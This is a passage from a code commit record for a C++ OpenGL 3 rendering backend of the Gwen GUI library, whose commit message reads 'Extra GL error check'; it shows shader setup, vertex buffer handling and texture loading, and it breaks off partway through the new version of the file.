j++)\r\n\t\t\t\tfor (size_t i = 0; i < sizeof(indices) \/ sizeof(*indices); i++)\r\n\t\t\t\t\tindicesv.push_back(4 * j + indices[i]);\r\n\r\n\t\t\tglGenBuffers(1, & m_ebo);\r\n\t\t\tglBindBuffer(GL_ELEMENT_ARRAY_BUFFER, m_ebo);\r\n\t\t\tglBufferData(GL_ELEMENT_ARRAY_BUFFER, indicesv.size() * sizeof(u32), indicesv.data(), GL_STATIC_DRAW);\r\n\r\n\t\t\tglBindVertexArray(0);\r\n\r\n\t\t\tcheckGLError();\r\n\t\t}\r\n\r\n\t\tvoid OpenGL3::checkGLError()\r\n\t\t{\r\n\t\t\tGLenum error = glGetError();\r\n\t\t\tif (error != GL_NO_ERROR)\r\n\t\t\t{\r\n\t\t\t\tstd::cout << gluErrorString(error) << \"\\n\";\r\n\t\t\t\tassert(0);\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\tvoid OpenGL3::Begin()\r\n\t\t{\r\n\t\t\tm_currentQuadCount = 0;\r\n\t\t}\r\n\r\n\t\tvoid OpenGL3::End()\r\n\t\t{\r\n\t\t\tcheckGLError();\r\n\t\t}\r\n\r\n\t\tvoid OpenGL3::DrawFilledRect(Gwen::Rect rect)\r\n\t\t{\r\n\t\t\tTranslate(rect);\r\n\r\n\t\t\taddQuad(rect, Color, 0, 0, 1, 1);\r\n\r\n\t\t\tglActiveTexture(GL_TEXTURE0);\r\n\t\t\tglBindTexture(GL_TEXTURE_2D, m_whiteTexture);\r\n\r\n\t\t\tfinalizeDraw();\r\n\t\t}\r\n\r\n\t\tvoid OpenGL3::SetDrawColor(Gwen::Color color)\r\n\t\t{\r\n\t\t\tglColor4ubv((GLubyte *) & color);\r\n\t\t\tColor = color;\r\n\t\t}\r\n\r\n\t\tvoid OpenGL3::StartClip()\r\n\t\t{\r\n\t\t\tGwen::Rect rect = ClipRegion();\r\n\r\n\t\t\t\/\/ OpenGL's coords are from the bottom left\r\n\t\t\t\/\/ so we need to translate them here.\r\n\t\t\trect.y = ScreenSize.Y - (rect.y + rect.h);\r\n\t\t\tglScissor(rect.x * Scale(), rect.y * Scale(), rect.w * Scale(), rect.h * Scale());\r\n\t\t\tglEnable(GL_SCISSOR_TEST);\r\n\t\t}\r\n\r\n\t\tvoid OpenGL3::EndClip()\r\n\t\t{\r\n\t\t\tglDisable(GL_SCISSOR_TEST);\r\n\t\t}\r\n\r\n\t\tvoid OpenGL3::DrawTexturedRect(Gwen::Texture* pTexture, Gwen::Rect rect, float u1, float v1, float u2, float v2)\r\n\t\t{\r\n\t\t\tGLuint * tex = (GLuint *) pTexture->data;\r\n\r\n\t\t\tif (! tex)\r\n\t\t\t{\r\n\t\t\t\tstd::cerr << \"Texture for GWEN draw call is missing.\" << std::endl;\r\n\t\t\t\treturn DrawMissingImage(rect);\r\n\t\t\t}\r\n\r\n\t\t\tTranslate(rect);\r\n\r\n\t\t\tif (m_currentBoundTexture != * tex)\r\n\t\t\t{\r\n\t\t\t\tm_currentBoundTexture = * tex;\r\n\r\n\t\t\t\tglActiveTexture(GL_TEXTURE0);\r\n\t\t\t\tglBindTexture(GL_TEXTURE_2D, * tex);\r\n\t\t\t}\r\n\r\n\t\t\taddQuad(rect, Gwen::Color(), u1, v1, u2, v2);\r\n\t\t\t\r\n\t\t\tglActiveTexture(GL_TEXTURE0);\r\n\t\t\tglBindTexture(GL_TEXTURE_2D, * tex);\r\n\r\n\t\t\tfinalizeDraw();\r\n\t\t\tcheckGLError();\r\n\t\t}\r\n\r\n\t\tvoid OpenGL3::finalizeDraw()\r\n\t\t{\r\n\t\t\tm_currentQuadCount = 2;\r\n\r\n\t\t\tglEnable(GL_BLEND);\r\n\t\t\tglBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA);\r\n\r\n\t\t\tglBindBuffer(GL_ELEMENT_ARRAY_BUFFER, m_ebo);\r\n\t\t\tglBindBuffer(GL_ARRAY_BUFFER, m_vbo);\r\n\t\t\tglBindVertexArray(m_vao);\r\n\r\n\t\t\tsize_t buffer_offset = 0;\r\n\r\n\t\t\t\r\n\t\t\tm_projectionMatrix = glm::ortho(0.0f, (f32) ScreenSize.X, (f32) ScreenSize.Y, 0.0f, -1.0f, 1.0f);\r\n\t\t\tglm::mat4 mvp = m_projectionMatrix;\r\n\t\t\t\r\n\t\t\tDrawContext context(Shader);\r\n\t\t\tcontext.BindUniform(\"mvp\", new UniformValue<glm::mat4>(mvp));\r\n\r\n\t\t\tGLint pos_attrib = 0;\r\n\t\t\tglEnableVertexAttribArray(pos_attrib);\r\n\t\t\tglVertexAttribPointer(\r\n\t\t\t\tpos_attrib,\r\n\t\t\t\t2,\r\n\t\t\t\tGL_FLOAT,\r\n\t\t\t\tGL_FALSE,\r\n\t\t\t\tsizeof(Vertex),\r\n\t\t\t\t(const GLvoid*)buffer_offset);\r\n\t\t\tbuffer_offset += sizeof(f32) * 2;\r\n\r\n\t\t\tGLint color_attrib = 2;\r\n\r\n\t\t\tcheckGLError();\r\n\r\n\t\t\tglEnableVertexAttribArray(color_attrib);\r\n\t\t\tglVertexAttribPointer(\r\n\t\t\t\tcolor_attrib,\r\n\t\t\t\t4,\r\n\t\t\t\tGL_UNSIGNED_BYTE,\r\n\t\t\t\tGL_TRUE,\r\n\t\t\t\tsizeof(Vertex),\r\n\t\t\t\t(const GLvoid*)buffer_offset);\r\n\t\t\tbuffer_offset += sizeof(u32);\r\n\r\n\t\t\tcheckGLError();\r\n\r\n\t\t\tGLint texcoord_attrib = 1;\r\n\t\t\tglEnableVertexAttribArray(texcoord_attrib);\r\n\t\t\tglVertexAttribPointer(\r\n\t\t\t\ttexcoord_attrib,\r\n\t\t\t\t2,\r\n\t\t\t\tGL_FLOAT,\r\n\t\t\t\tGL_FALSE,\r\n\t\t\t\tsizeof(Vertex),\r\n\t\t\t\t(const GLvoid*)buffer_offset);\r\n\r\n\t\t\tglDrawElements(\r\n\t\t\t\tGL_TRIANGLES,\r\n\t\t\t\t6 * (m_currentQuadCount), \/\/ 6 indices per 2 triangles\r\n\t\t\t\tGL_UNSIGNED_INT,\r\n\t\t\t\t(const GLvoid*)0);\r\n\r\n\t\t\tglBindVertexArray(0);\r\n\t\t\tglBindBuffer(GL_ARRAY_BUFFER, 0);\r\n\t\t\tglBindBuffer(GL_ELEMENT_ARRAY_BUFFER, 0);\r\n\r\n\t\t\tglDisable(GL_BLEND);\r\n\t\t}\r\n\r\n\t\tvoid OpenGL3::addQuad(const Gwen::Rect& rect, const Gwen::Color& color, float u1, float v1, float u2, float v2)\r\n\t\t{\r\n\t\t\t\/\/ vertices that will be uploaded.\r\n\t\t\tVertex vertices[4];\r\n\r\n\t\t\t\/\/ vertices[n][0] -> X, and [1] -> Y\r\n\t\t\t\/\/ vertices[0] -> top left\r\n\t\t\t\/\/ vertices[1] -> bottom left\r\n\t\t\t\/\/ vertices[2] -> bottom right\r\n\t\t\t\/\/ vertices[3] -> top right\r\n\r\n\t\t\tvertices[0].x = rect.x;\r\n\t\t\tvertices[0].y = rect.y;\r\n\r\n\t\t\tvertices[1].x = rect.x;\r\n\t\t\tvertices[1].y = rect.y + rect.h;\r\n\r\n\t\t\tvertices[2].x = rect.x + rect.w;\r\n\t\t\tvertices[2].y = rect.y + rect.h;\r\n\r\n\t\t\tvertices[3].x = rect.x + rect.w;\r\n\t\t\tvertices[3].y = rect.y;\r\n\r\n\t\t\tcheckGLError();\r\n\r\n\t\t\t\/\/ copy color to the buffer\r\n\t\t\tfor (size_t i = 0; i < sizeof(vertices) \/ sizeof(*vertices); ++ i)\r\n\t\t\t{\r\n\t\t\t\tint colorPacked = color.r | (color.g << 8) | (color.b << 16) | (color.a << 24);\r\n\t\t\t\tvertices[i].color = colorPacked;\r\n\t\t\t}\r\n\r\n\t\t\t\/\/ copy texcoords to the buffer\r\n\t\t\tvertices[0].u = vertices[1].u = u1;\r\n\t\t\tvertices[0].v = vertices[3].v = v1;\r\n\t\t\tvertices[1].v = vertices[2].v = v2;\r\n\t\t\tvertices[2].u = vertices[3].u = u2;\r\n\r\n\t\t\tcheckGLError();\r\n\r\n\t\t\t\/\/ finally upload everything to the actual vbo\r\n\t\t\tglBindBuffer(GL_ARRAY_BUFFER, m_vbo);\r\n\r\n\t\t\tglBufferSubData(\r\n\t\t\t\tGL_ARRAY_BUFFER,\r\n\t\t\t\tsizeof(vertices) ,\r\n\t\t\t\tsizeof(vertices),\r\n\t\t\t\tvertices);\r\n\r\n\t\t\tglBindBuffer(GL_ARRAY_BUFFER, 0);\r\n\r\n\t\t\t++ m_currentQuadCount;\r\n\t\t}\r\n\r\n\t\tvoid OpenGL3::LoadTexture(Gwen::Texture* pTexture)\r\n\t\t{\r\n\t\t\tCImage * Image = CImage::Load(pTexture->name.c_str());\r\n\r\n\t\t\t\/\/ Image failed to load..\r\n\t\t\tif (! Image)\r\n\t\t\t{\r\n\t\t\t\tpTexture->failed = true;\r\n\t\t\t\tstd::string str;\r\n\t\t\t\tstr.append(\"Texture load failure, image format unknown or file does not exist: \");\r\n\t\t\t\tstr.append(pTexture->name.Get());\r\n\t\t\t\treturn;\r\n\t\t\t}\r\n\r\n\t\t\tImage->FlipY();\r\n\r\n\t\t\t\/\/ Create a little texture pointer..\r\n\t\t\tGLuint* pglTexture = new GLuint;\r\n\r\n\t\t\t\/\/ Sort out our GWEN texture\r\n\t\t\tpTexture->data = pglTexture;\r\n\t\t\tpTexture->width = Image->GetWidth();\r\n\t\t\tpTexture->height = Image->GetHeight();\r\n\r\n\t\t\tglActiveTexture(GL_TEXTURE0);\r\n\t\t\t\/\/ Create the opengl texture\r\n\t\t\tglGenTextures( 1, pglTexture );\r\n\t\t\tglBindTexture( GL_TEXTURE_2D, *pglTexture );\r\n\t\t\tglTexParameteri( GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_LINEAR );\r\n\t\t\tglTexParameteri( GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_LINEAR );\r\n\r\n\t\t\tm_currentBoundTexture = *pglTexture;\r\n\r\n\t\t\tGLenum format = GL_RGBA;\r\n\r\n\t\t\tglTexImage2D( GL_TEXTURE_2D, 0, GL_RGBA, pTexture->width, pTexture->height, 0, format, GL_UNSIGNED_BYTE, Image->GetData() );\r\n\r\n\t\t\tcheckGLError();\r\n\t\t}\r\n\r\n\t\tvoid OpenGL3::FreeTexture( Gwen::Texture* pTexture )\r\n\t\t{\r\n\t\t\tcheckGLError();\r\n\t\t\tGLuint* tex = (GLuint*)pTexture->data;\r\n\t\t\tif ( !tex ) return;\r\n\r\n\t\t\tglDeleteTextures( 1, tex );\r\n\t\t\tdelete tex;\r\n\t\t\tpTexture->data = NULL;\r\n\t\t\tcheckGLError();\r\n\t\t}\r\n\r\n\t\tGwen::Color OpenGL3::PixelColour( Gwen::Texture* pTexture, unsigned int x, unsigned int y, const Gwen::Color& col_default )\r\n\t\t{\r\n\t\t\tcheckGLError();\r\n\t\t\tGLuint* tex = (GLuint*)pTexture->data;\r\n\t\t\tif ( !tex ) return col_default;\r\n\r\n\t\t\tunsigned int iPixelSize = sizeof(unsigned char) * 4;\r\n\r\n\t\t\tglBindTexture( GL_TEXTURE_2D, *tex );\r\n\r\n\t\t\tunsigned char* data = (unsigned char*) malloc( iPixelSize * pTexture->width * pTexture->height );\r\n\r\n\t\t\tglGetTexImage( GL_TEXTURE_2D, 0, GL_RGBA, GL_UNSIGNED_BYTE, data);\r\n\r\n\t\t\tunsigned int iOffset = (y * pTexture->width + x) * 4;\r\n\r\n\t\t\tGwen::Color c;\r\n\t\t\tc.r = data[0 + iOffset];\r\n\t\t\tc.g = data[1 + iOffset];\r\n\t\t\tc.b = data[2 + iOffset];\r\n\t\t\tc.a = data[3 + iOffset];\r\n\r\n\t\t\t\/\/\r\n\t\t\t\/\/ Retrieving the entire texture for a single pixel read\r\n\t\t\t\/\/ is kind of a waste - maybe cache this pointer in the texture\r\n\t\t\t\/\/ data and then release later on? It's never called during runtime\r\n\t\t\t\/\/ - only during initialization.\r\n\t\t\t\/\/\r\n\t\t\tfree( data );\r\n\t\t\tcheckGLError();\r\n\r\n\t\t\treturn c;\r\n\t\t}\r\n\r\n\t\tbool OpenGL3::InitializeContext( Gwen::WindowProvider* pWindow )\r\n\t\t{\r\n\t\t\treturn false;\r\n\t\t}\r\n\r\n\t\tbool OpenGL3::ShutdownContext( Gwen::WindowProvider* pWindow )\r\n\t\t{\r\n\t\t\treturn false;\r\n\t\t}\r\n\r\n\t\tbool OpenGL3::PresentContext( Gwen::WindowProvider* pWindow )\r\n\t\t{\r\n\t\t\treturn false;\r\n\t\t}\r\n\r\n\t\tbool OpenGL3::ResizedContext( Gwen::WindowProvider* pWindow, int w, int h )\r\n\t\t{\r\n\r\n\t\t\treturn false;\r\n\t\t}\r\n\r\n\t\tbool OpenGL3::BeginContext( Gwen::WindowProvider* pWindow )\r\n\t\t{\r\n\t\t\treturn true;\r\n\t\t}\r\n\r\n\t\tbool OpenGL3::EndContext( Gwen::WindowProvider* pWindow )\r\n\t\t{\r\n\t\t\treturn true;\r\n\t\t}\r\n\r\n\t}\r\n}\r\n\r\n#endif\r\n<commit_msg>Extra GL error check<commit_after>\r\n#include <ionConfig.h>\r\n\r\n#ifdef _ION_CONFIG_USE_GWEN\r\n\r\n#include \"OpenGL3.h\"\r\n\r\n#include <glm\/glm.hpp>\r\n#include <glm\/gtc\/matrix_transform.hpp>\r\n#include <glm\/gtc\/swizzle.hpp>\r\n\r\n\r\nnamespace Gwen\r\n{\r\n\tnamespace Renderer\r\n\t{\r\n\t\tusing namespace ion::GL;\r\n\r\n\t\tOpenGL3::OpenGL3(vec2i const & screenSize)\r\n\t\t\t: Shader(0),\r\n\t\t\tm_currentQuadCount(0),\r\n\t\t\tScreenSize(screenSize),\r\n\t\t\tm_maxSpriteCount(2)\r\n\t\t{\r\n\t\t\tInit();\r\n\t\t}\r\n\r\n\t\tOpenGL3::~OpenGL3()\r\n\t\t{\r\n\t\t\tglDeleteBuffers(1, &m_vbo);\r\n\t\t\tglDeleteBuffers(1, &m_ebo);\r\n\r\n\t\t\tglDeleteVertexArrays(1, &m_vao);\r\n\r\n\t\t\tdelete Shader;\r\n\t\t}\r\n\r\n\t\tvoid OpenGL3::Init()\r\n\t\t{\r\n\t\t\tstatic string const VertexShaderSource = R\"SHADER(\r\n\t\t\t\t#version 330\r\n\r\n\t\t\t\tuniform mat4 mvp;\r\n\r\n\t\t\t\tin vec2 position;\r\n\t\t\t\tin vec2 texcoord;\r\n\t\t\t\tin vec4 color;\r\n\r\n\t\t\t\tout vec2 TextureCoordinates;\r\n\t\t\t\tout vec4 Color;\r\n\r\n\t\t\t\tvoid main()\r\n\t\t\t\t{\r\n\t\t\t\t\tgl_Position = mvp * vec4(position, 0.0, 1.0);\r\n\t\t\t\t\tTextureCoordinates = texcoord;\r\n\t\t\t\t\tColor = color;\r\n\t\t\t\t}\r\n\t\t\t)SHADER\";\r\n\r\n\t\t\tstatic string const FragmentShaderSource = R\"SHADER(\r\n\t\t\t\t#version 330\r\n\r\n\t\t\t\tuniform sampler2D tex;\r\n\r\n\t\t\t\tin vec2 TextureCoordinates;\r\n\t\t\t\tin vec4 Color;\r\n\r\n\t\t\t\tout vec4 FragColor;\r\n\r\n\t\t\t\tvoid main()\r\n\t\t\t\t{\r\n\t\t\t\t\tFragColor = Color * texture2D(tex, TextureCoordinates);\r\n\t\t\t\t}\r\n\t\t\t)SHADER\";\r\n\r\n\t\t\tVertexShader * vert = new VertexShader;\r\n\t\t\tvert->Source(VertexShaderSource);\r\n\t\t\tif (! vert->Compile())\r\n\t\t\t\tstd::cerr << \"Failed to compile vertex shader!\" << std::endl << vert->InfoLog() << std::endl;\r\n\r\n\t\t\tFragmentShader * frag = new FragmentShader;\r\n\t\t\tfrag->Source(FragmentShaderSource);\r\n\t\t\tif (! frag->Compile())\r\n\t\t\t\tstd::cerr << \"Failed to compile vertex shader!\" << std::endl << frag->InfoLog() << std::endl;\r\n\r\n\t\t\tShader = new Program;\r\n\t\t\tShader->AttachShader(vert);\r\n\t\t\tShader->AttachShader(frag);\r\n\t\t\tShader->Link();\r\n\t\t\tShader->BindAttributeLocation(0, \"position\");\r\n\t\t\tShader->BindAttributeLocation(1, \"texcoord\");\r\n\t\t\tShader->BindAttributeLocation(2, \"color\");\r\n\r\n\r\n\r\n\t\t\tinitGL();\r\n\t\t\tcheckGLError();\r\n\r\n\t\t\tglGenTextures(1, & m_whiteTexture);\r\n\t\t\tglActiveTexture(GL_TEXTURE0);\r\n\t\t\tglBindTexture(GL_TEXTURE_2D, m_whiteTexture);\r\n\r\n\t\t\tcheckGLError();\r\n\r\n\t\t\tglTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_LINEAR);\r\n\t\t\tglTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_LINEAR);\r\n\t\t\tglTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_CLAMP_TO_EDGE);\r\n\t\t\tglTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_CLAMP_TO_EDGE);\r\n\r\n\t\t\tGLubyte image[] = {255, 255, 255, 255};\r\n\r\n\t\t\tglTexImage2D(GL_TEXTURE_2D, 0, GL_RGBA8, 1, 1, 0, GL_RGBA, GL_UNSIGNED_BYTE, image);\r\n\t\t}\r\n\r\n\t\tvoid OpenGL3::initGL()\r\n\t\t{\r\n\t\t\tglGenVertexArrays(1, & m_vao);\r\n\t\t\tglBindVertexArray(m_vao);\r\n\r\n\t\t\tglGenBuffers(1, & m_vbo);\r\n\t\t\tglBindBuffer(GL_ARRAY_BUFFER, m_vbo);\r\n\t\t\tglBufferData(GL_ARRAY_BUFFER, m_maxSpriteCount * 4 * sizeof(Vertex), NULL, GL_DYNAMIC_DRAW);\r\n\r\n\t\t\tcheckGLError();\r\n\r\n\r\n\t\t\tstd::vector<u32> indicesv;\r\n\t\t\tconst u32 indices[] = {0, 1, 2, 0, 2, 3};\r\n\t\t\tfor (int j = 0; j < m_maxSpriteCount; j++)\r\n\t\t\t\tfor (size_t i = 0; i < sizeof(indices) \/ sizeof(*indices); i++)\r\n\t\t\t\t\tindicesv.push_back(4 * j + indices[i]);\r\n\r\n\t\t\tglGenBuffers(1, & m_ebo);\r\n\t\t\tglBindBuffer(GL_ELEMENT_ARRAY_BUFFER, m_ebo);\r\n\t\t\tglBufferData(GL_ELEMENT_ARRAY_BUFFER, indicesv.size() * sizeof(u32), indicesv.data(), GL_STATIC_DRAW);\r\n\r\n\t\t\tglBindVertexArray(0);\r\n\r\n\t\t\tcheckGLError();\r\n\t\t}\r\n\r\n\t\tvoid OpenGL3::checkGLError()\r\n\t\t{\r\n\t\t\tGLenum error = glGetError();\r\n\t\t\tif (error != GL_NO_ERROR)\r\n\t\t\t{\r\n\t\t\t\tstd::cout << gluErrorString(error) << \"\\n\";\r\n\t\t\t\tassert(0);\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\tvoid OpenGL3::Begin()\r\n\t\t{\r\n\t\t\tm_currentQuadCount = 0;\r\n\t\t}\r\n\r\n\t\tvoid OpenGL3::End()\r\n\t\t{\r\n\t\t\tcheckGLError();\r\n\t\t}\r\n\r\n\t\tvoid OpenGL3::DrawFilledRect(Gwen::Rect rect)\r\n\t\t{\r\n\t\t\tTranslate(rect);\r\n\r\n\t\t\taddQuad(rect, Color, 0, 0, 1, 1);\r\n\r\n\t\t\tglActiveTexture(GL_TEXTURE0);\r\n\t\t\tglBindTexture(GL_TEXTURE_2D, m_whiteTexture);\r\n\r\n\t\t\tfinalizeDraw();\r\n\t\t}\r\n\r\n\t\tvoid OpenGL3::SetDrawColor(Gwen::Color color)\r\n\t\t{\r\n\t\t\tglColor4ubv((GLubyte *) & color);\r\n\t\t\tColor = color;\r\n\t\t}\r\n\r\n\t\tvoid OpenGL3::StartClip()\r\n\t\t{\r\n\t\t\tGwen::Rect rect = ClipRegion();\r\n\r\n\t\t\t\/\/ OpenGL's coords are from the bottom left\r\n\t\t\t\/\/ so we need to translate them here.\r\n\t\t\trect.y = ScreenSize.Y - (rect.y + rect.h);\r\n\t\t\tglScissor(rect.x * Scale(), rect.y * Scale(), rect.w * Scale(), rect.h * Scale());\r\n\t\t\tglEnable(GL_SCISSOR_TEST);\r\n\t\t}\r\n\r\n\t\tvoid OpenGL3::EndClip()\r\n\t\t{\r\n\t\t\tglDisable(GL_SCISSOR_TEST);\r\n\t\t}\r\n\r\n\t\tvoid OpenGL3::DrawTexturedRect(Gwen::Texture* pTexture, Gwen::Rect rect, float u1, float v1, float u2, float v2)\r\n\t\t{\r\n\t\t\tGLuint * tex = (GLuint *) pTexture->data;\r\n\r\n\t\t\tif (! tex)\r\n\t\t\t{\r\n\t\t\t\tstd::cerr << \"Texture for GWEN draw call is missing.\" << std::endl;\r\n\t\t\t\treturn DrawMissingImage(rect);\r\n\t\t\t}\r\n\r\n\t\t\tTranslate(rect);\r\n\r\n\t\t\tif (m_currentBoundTexture != * tex)\r\n\t\t\t{\r\n\t\t\t\tm_currentBoundTexture = * tex;\r\n\r\n\t\t\t\tglActiveTexture(GL_TEXTURE0);\r\n\t\t\t\tglBindTexture(GL_TEXTURE_2D, * tex);\r\n\t\t\t}\r\n\r\n\t\t\taddQuad(rect, Gwen::Color(), u1, v1, u2, v2);\r\n\t\t\t\r\n\t\t\tglActiveTexture(GL_TEXTURE0);\r\n\t\t\tglBindTexture(GL_TEXTURE_2D, * tex);\r\n\r\n\t\t\tfinalizeDraw();\r\n\t\t\tcheckGLError();\r\n\t\t}\r\n\r\n\t\tvoid OpenGL3::finalizeDraw()\r\n\t\t{\r\n\t\t\tm_currentQuadCount = 2;\r\n\r\n\t\t\tglEnable(GL_BLEND);\r\n\t\t\tglBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA);\r\n\r\n\t\t\tglBindBuffer(GL_ELEMENT_ARRAY_BUFFER, m_ebo);\r\n\t\t\tglBindBuffer(GL_ARRAY_BUFFER, m_vbo);\r\n\t\t\tglBindVertexArray(m_vao);\r\n\r\n\t\t\tsize_t buffer_offset = 0;\r\n\r\n\t\t\t\r\n\t\t\tm_projectionMatrix = glm::ortho(0.0f, (f32) ScreenSize.X, (f32) ScreenSize.Y, 0.0f, -1.0f, 1.0f);\r\n\t\t\tglm::mat4 mvp = m_projectionMatrix;\r\n\t\t\t\r\n\t\t\tDrawContext context(Shader);\r\n\t\t\tcontext.BindUniform(\"mvp\", new UniformValue<glm::mat4>(mvp));\r\n\r\n\t\t\tGLint pos_attrib = 0;\r\n\t\t\tglEnableVertexAttribArray(pos_attrib);\r\n\t\t\tglVertexAttribPointer(\r\n\t\t\t\tpos_attrib,\r\n\t\t\t\t2,\r\n\t\t\t\tGL_FLOAT,\r\n\t\t\t\tGL_FALSE,\r\n\t\t\t\tsizeof(Vertex),\r\n\t\t\t\t(const GLvoid*)buffer_offset);\r\n\t\t\tbuffer_offset += sizeof(f32) * 2;\r\n\r\n\t\t\tGLint color_attrib = 2;\r\n\r\n\t\t\tcheckGLError();\r\n\r\n\t\t\tglEnableVertexAttribArray(color_attrib);\r\n\t\t\tglVertexAttribPointer(\r\n\t\t\t\tcolor_attrib,\r\n\t\t\t\t4,\r\n\t\t\t\tGL_UNSIGNED_BYTE,\r\n\t\t\t\tGL_TRUE,\r\n\t\t\t\tsizeof(Vertex),\r\n\t\t\t\t(const GLvoid*)buffer_offset);\r\n\t\t\tbuffer_offset += sizeof(u32);\r\n\r\n\t\t\tcheckGLError();\r\n\r\n\t\t\tGLint texcoord_attrib = 1;\r\n\t\t\tglEnableVertexAttribArray(texcoord_attrib);\r\n\t\t\tglVertexAttribPointer(\r\n\t\t\t\ttexcoord_attrib,\r\n\t\t\t\t2,\r\n\t\t\t\tGL_FLOAT,\r\n\t\t\t\tGL_FALSE,\r\n\t\t\t\tsizeof(Vertex),\r\n\t\t\t\t(const GLvoid*)buffer_offset);\r\n\r\n\t\t\tcheckGLError();\r\n\r\n\t\t\tglDrawElements(\r\n\t\t\t\tGL_TRIANGLES,\r\n\t\t\t\t6 * (m_currentQuadCount), \/\/ 6 indices per 2 triangles\r\n\t\t\t\tGL_UNSIGNED_INT,\r\n\t\t\t\t(const GLvoid*)0);\r\n\r\n\t\t\tglBindVertexArray(0);\r\n\t\t\tglBindBuffer(GL_ARRAY_BUFFER, 0);\r\n\t\t\tglBindBuffer(GL_ELEMENT_ARRAY_BUFFER, 0);\r\n\r\n\t\t\tglDisable(GL_BLEND);\r\n\t\t}\r\n\r\n\t\tvoid OpenGL3::addQuad(const Gwen::Rect& rect, const Gwen::Color& color, float u1, float v1, float u2, float v2)\r\n\t\t{\r\n\t\t\t\/\/ vertices that will be uploaded.\r\n\t\t\tVertex vertices[4];\r\n\r\n\t\t\t\/\/ vertices[n][0] -> X, and [1] -> Y\r\n\t\t\t\/\/ vertices[0] -> top left\r\n\t\t\t\/\/ vertices[1] -> bottom left\r\n\t\t\t\/\/ vertices[2] -> bottom right\r\n\t\t\t\/\/ vertices[3] -> top right\r\n\r\n\t\t\tvertices[0].x = rect.x;\r\n\t\t\tvertices[0].y = rect.y;\r\n\r\n\t\t\tvertices[1].x = rect.x;\r\n\t\t\tvertices[1].y = rect.y + rect.h;\r\n\r\n\t\t\tvertices[2].x = rect.x + rect.w;\r\n\t\t\tvertices[2].y = rect.y + rect.h;\r\n\r\n\t\t\tvertices[3].x = rect.x + rect.w;\r\n\t\t\tvertices[3].y = rect.y;\r\n\r\n\t\t\tcheckGLError();\r\n\r\n\t\t\t\/\/ copy color to the buffer\r\n\t\t\tfor (size_t i = 0; i < sizeof(vertices) \/ sizeof(*vertices); ++ i)\r\n\t\t\t{\r\n\t\t\t\tint colorPacked = color.r | (color.g << 8) | (color.b << 16) | (color.a << 24);\r\n\t\t\t\tvertices[i].color = colorPacked;\r\n\t\t\t}\r\n\r\n\t\t\t\/\/ copy texcoords to the buffer\r\n\t\t\tvertices[0].u = vertices[1].u = u1;\r\n\t\t\tvertices[0].v = vertices[3].v = v1;\r\n\t\t\tvertices[1].v = vertices[2].v = v2;\r\n\t\t\tvertices[2].u = vertices[3].u = u2;\r\n\r\n\t\t\tcheckGLError();\r\n\r\n\t\t\t\/\/ finally upload everything to the actual vbo\r\n\t\t\tglBindBuffer(GL_ARRAY_BUFFER, m_vbo);\r\n\r\n\t\t\tglBufferSubData(\r\n\t\t\t\tGL_ARRAY_BUFFER,\r\n\t\t\t\tsizeof(vertices) ,\r\n\t\t\t\tsizeof(vertices),\r\n\t\t\t\tvertices);\r\n\r\n\t\t\tglBindBuffer(GL_ARRAY_BUFFER, 0);\r\n\r\n\t\t\t++ m_currentQuadCount;\r\n\t\t}\r\n\r\n\t\tvoid OpenGL3::LoadTexture(Gwen::Texture* pTexture)\r\n\t\t{\r\n\t\t\tCImage * Image = CImage::Load(pTexture->name.c_str());\r\n\r\n\t\t\t\/\/ Image failed to load..\r\n\t\t\tif (! Image)\r\n\t\t\t{\r\n\t\t\t\tpTexture->failed = true;\r\n\t\t\t\tstd::string str;\r\n\t\t\t\tstr.append(\"Texture load failure, image format unknown or file does not exist: \");\r\n\t\t\t\tstr.append(pTexture->name.Get());\r\n\t\t\t\treturn;\r\n\t\t\t}\r\n\r\n\t\t\tImage->FlipY();\r\n\r\n\t\t\t\/\/ Create a little texture pointer..\r\n\t\t\tGLuint* pglTexture = new GLuint;\r\n\r\n\t\t\t\/\/ Sort out our GWEN texture\r\n\t\t\tpTexture->data = pglTexture;\r\n\t\t\tpTexture->width = Image->GetWidth();\r\n\t\t\tpTexture->height = Image->GetHeight();\r\n\r\n\t\t\tglActiveTexture(GL_TEXTURE0);\r\n\t\t\t\/\/ Create the opengl texture\r\n\t\t\tglGenTextures( 1, pglTexture );\r\n\t\t\tglBindTexture( GL_TEXTURE_2D, *pglTexture );\r\n\t\t\tglTexParameteri( GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_LINEAR );\r\n\t\t\tglTexParameteri( GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_LINEAR );\r\n\r\n\t\t\tm_currentBoundTexture = *pglTexture;\r\n\r\n\t\t\tGLenum format = GL_RGBA;\r\n\r\n\t\t\tglTexImage2D( GL_TEXTURE_2D, 0, GL_RGBA, pTexture->width, pTexture->height, 0, format, GL_UNSIGNED_BYTE, Image->GetData() );\r\n\r\n\t\t\tcheckGLError();\r\n\t\t}\r\n\r\n\t\tvoid OpenGL3::FreeTexture( Gwen::Texture* pTexture )\r\n\t\t{\r\n\t\t\tcheckGLError();\r\n\t\t\tGLuint* tex = (GLuint*)pTexture->data;\r\n\t\t\tif ( !tex ) return;\r\n\r\n\t\t\tglDeleteTextures( 1, tex );\r\n\t\t\tdelete tex;\r\n\t\t\tpTexture->data = NULL;\r\n\t\t\tcheckGLError();\r\n\t\t}\r\n\r\n\t\tGwen::Color OpenGL3::PixelColour( Gwen::Texture* pTexture, unsigned int x, unsigned int y, const Gwen::Color& col_default )\r\n\t\t{\r\n\t\t\tcheckGLError();\r\n\t\t\tGLuint* tex = (GLuint*)pTexture->data;\r\n\t\t\tif ( !tex ) return col_default;\r\n\r\n\t\t\tunsigned int iPixelSize = sizeof(unsigned char) * 4;\r\n\r\n\t\t\tglBindTexture( GL_TEXTURE_2D, *tex );\r\n\r\n\t\t\tunsigned char* data = (unsigned char*) malloc( iPixelSize * pTexture->width * pTexture->height );\r\n\r\n\t\t\tglGetTexImage( GL_TEXTURE_2D, 0, GL_RGBA, GL_UNSIGNED_BYTE, 